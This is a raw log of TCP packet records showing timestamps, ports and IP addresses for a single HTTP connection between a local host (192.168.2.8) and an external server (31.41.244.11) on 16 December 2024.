Dec 16, 2024 13:16:22.706522942 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.706553936 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.707559109 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.707617998 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.707664013 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.707707882 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.708628893 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.708678961 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.708723068 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.708756924 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.709706068 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.709757090 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.709795952 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.709836960 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.710772038 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.710823059 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.710891008 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.710928917 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.711900949 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.711950064 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.712025881 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.712068081 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.712913036 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.712976933 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.713047981 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.713087082 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.714097977 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.714142084 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.714145899 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.714184046 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.715130091 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.715178967 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.715265036 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.715306044 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.716150999 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.716202021 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.716332912 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.716376066 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.717225075 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.717272997 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.717361927 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.717401981 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.718342066 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.718393087 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.718434095 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.718473911 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.719297886 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.719346046 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.719475031 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.719516039 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.720482111 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.720531940 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.720541954 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.720581055 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.721540928 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.721564054 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.721590996 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.721606016 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.722557068 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.722609043 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.722698927 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.722738028 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.723692894 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.723754883 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.723802090 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.723840952 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.724654913 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.724698067 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.724766970 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.724807024 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.725727081 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.725768089 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.725856066 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.725894928 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.726799965 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.726849079 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.726887941 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.726929903 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.727858067 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.727901936 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.727960110 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.728001118 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.728938103 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.728987932 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.729044914 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.729084015 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.730006933 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.730057955 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.730125904 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.730165005 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.731057882 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.731122017 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.731138945 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.731172085 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.732338905 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.732387066 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.732398033 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.732425928 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.733212948 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.733263016 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.733305931 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.733350039 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.734296083 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.734350920 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.734370947 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.734392881 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.735431910 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.735486984 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.735524893 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.735564947 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.736411095 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.736469030 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.736531019 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.736565113 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.737507105 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.737560034 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.737648964 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.737690926 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.738612890 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.738660097 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.738776922 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.738816023 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.739624977 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.739672899 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.739728928 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.739769936 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.740679979 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.740721941 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.740734100 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.740755081 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.741766930 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.741822958 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.741919994 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.741961956 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.742856026 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.742897987 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.742942095 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.742983103 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.744020939 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.744071960 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.744117022 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.744158030 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.745003939 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.745161057 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.745219946 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.745219946 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.746031046 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.746078968 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.746121883 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.746161938 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.747148037 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.747180939 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.747195005 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.747216940 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.882993937 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.883060932 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.883156061 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.883208990 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.883514881 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.883569002 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.883634090 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.883673906 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.884594917 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.884641886 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.884651899 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.884690046 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.885668993 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.885689974 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.885718107 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.885740042 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.886756897 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.886770964 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.886805058 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.887835026 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.887875080 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.887885094 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.887908936 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.888823032 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.888874054 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.888953924 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.888993979 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.889956951 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.890005112 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.890058041 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.890104055 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.890986919 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.891105890 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.891156912 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.891156912 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.892105103 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.892153978 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.892158031 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.892189980 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.893124104 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.893174887 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.893244982 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.893284082 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.894191980 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.894237995 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.894319057 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.894356012 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.895271063 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.895323992 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.895328045 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.895358086 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.896367073 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.896415949 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.896460056 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.896497965 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.897428036 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.897484064 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.897524118 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.897563934 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.898492098 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.898545027 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.898638010 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.898679972 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.899571896 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.899621010 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.899689913 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.899729013 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.900604963 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.900650024 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.900734901 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.900773048 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.901803970 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.901881933 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.901885033 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.901917934 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.902968884 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.903026104 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.903053999 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.903088093 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.903795004 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.903848886 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.903914928 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.903956890 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.904901028 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.904947042 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.905011892 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.905051947 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.905915976 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.905960083 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.906025887 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.906066895 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.906984091 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.907037020 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.907114029 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.907154083 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.908111095 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.908158064 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.908204079 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.908243895 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.909188032 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.909234047 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.909281969 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.909320116 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.910248041 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.910290003 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.910365105 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.910403967 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.911319017 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.911364079 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.911389112 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.911423922 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.912358999 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.912422895 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.912501097 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.912539959 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.913408041 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.913454056 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.913511038 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.913606882 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.914655924 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.914666891 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.914704084 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.915684938 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.915695906 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.915734053 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.916637897 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.916686058 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.916707039 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.916747093 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.917681932 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.917725086 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.917839050 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.917876959 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.918883085 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.918893099 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.918931961 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.919846058 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.919894934 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.919955015 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.919994116 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.920914888 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.920928001 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.920960903 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.922000885 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.922058105 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.922132015 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.922173977 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.923064947 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.923125982 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.923163891 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.923207998 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.924113035 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.924156904 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.924185038 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.924221992 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.925182104 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.925225973 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.925313950 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.925352097 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.926239967 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.926285028 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.926345110 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.926382065 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.927339077 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.927391052 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.927428961 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.927464962 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.928378105 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.928435087 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.928469896 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.928503036 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.929464102 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.929506063 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.929528952 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.929565907 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.930514097 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.930569887 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.930608988 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.930644989 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.931633949 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.931685925 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.931720972 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.931759119 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.932697058 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.932751894 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.932816982 CET	80	49724	31.41.244.11	192.168.2.8
